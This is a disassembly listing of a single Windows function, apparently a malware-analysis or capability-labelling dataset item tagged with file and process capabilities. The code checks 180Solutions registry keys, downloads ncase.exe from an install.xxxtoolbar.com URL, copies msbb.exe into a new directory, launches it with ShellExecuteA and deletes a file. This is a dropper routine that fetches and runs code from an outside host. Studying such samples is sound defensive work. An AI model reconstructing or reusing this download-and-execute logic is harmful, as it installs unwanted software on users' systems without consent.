Function at 0x40100a
Capabilities:
Copy file
Create directory
Create process on windows
Delete file

Disassembly:
jmp 0x404940
sub esp, 0x30c
push ebx
push esi
push edi
push 0
push str.Softwaremsbb
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404970
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x30c
ret
push 0
push str.Software180Solutionsmsbb
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404997
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x30c
ret
mov edi, dword [esp + 0x31c]
mov esi, str.ncase_x
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4049cd
test cl, cl
je 0x4049c9
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4049cd
add eax, 2
add esi, 2
test cl, cl
jne 0x4049a5
xor eax, eax
jmp 0x4049d2
sbb eax, eax
sbb eax, 0xffffffff
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
jne 0x4049ef
lea eax, [esp + 0x218]
push str._did842
push eax
call ebp
add esp, 8
mov esi, str.ncase_m
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404a1e
test cl, cl
je 0x404a1a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404a1e
add eax, 2
add esi, 2
test cl, cl
jne 0x4049f6
xor eax, eax
jmp 0x404a23
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x404a39
lea eax, [esp + 0x218]
push str._did841
push eax
call ebp
add esp, 8
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msbb.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_ncase.exe
call fcn.00401032
add esp, 8
test eax, eax
pop ebp
jne 0x404abc
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x30c
ret
or ecx, 0xffffffff
mov edi, 0x40e0f0
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40c9dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.180Solutions
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov edi, 0x40c9dc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msbb.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x114]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
lea edx, [esp + 0x218]
push 0
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x404be4
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x30c
ret
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov eax, 5
pop ebx
add esp, 0x30c
ret